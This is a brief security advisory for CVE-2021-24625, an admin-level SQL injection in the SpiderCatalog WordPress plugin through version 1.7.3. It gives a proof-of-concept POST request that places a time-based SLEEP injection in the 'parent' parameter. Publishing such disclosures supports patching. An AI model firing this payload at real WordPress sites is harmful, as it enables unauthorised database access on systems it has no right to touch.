SpiderCatalog <= 1.7.3 – Admin+ SQL Injection | CVE 2021-24625

Description

The plugin does not sanitise or escape the 'parent' and 'ordering' parameters from the admin dashboard before using them in a SQL statement, leading to a SQL injection when adding a category

Proof of Concept

https://plugins.trac.wordpress.org/browser/catalog/trunk/Categories.php#L320

POST /wp-admin/admin.php?page=Categories_Spider_Catalog&task=save HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 159
Connection: close
Cookie: [admin+]
Upgrade-Insecure-Requests: 1

name=Test&parent=0%20AND%20(SELECT%209973%20FROM%20(SELECT(SLEEP(5)))b)&uploadded_images_list=&content=aa&param=&ordering=0&published=1&nonce_sp_cat=cb5e86d7f7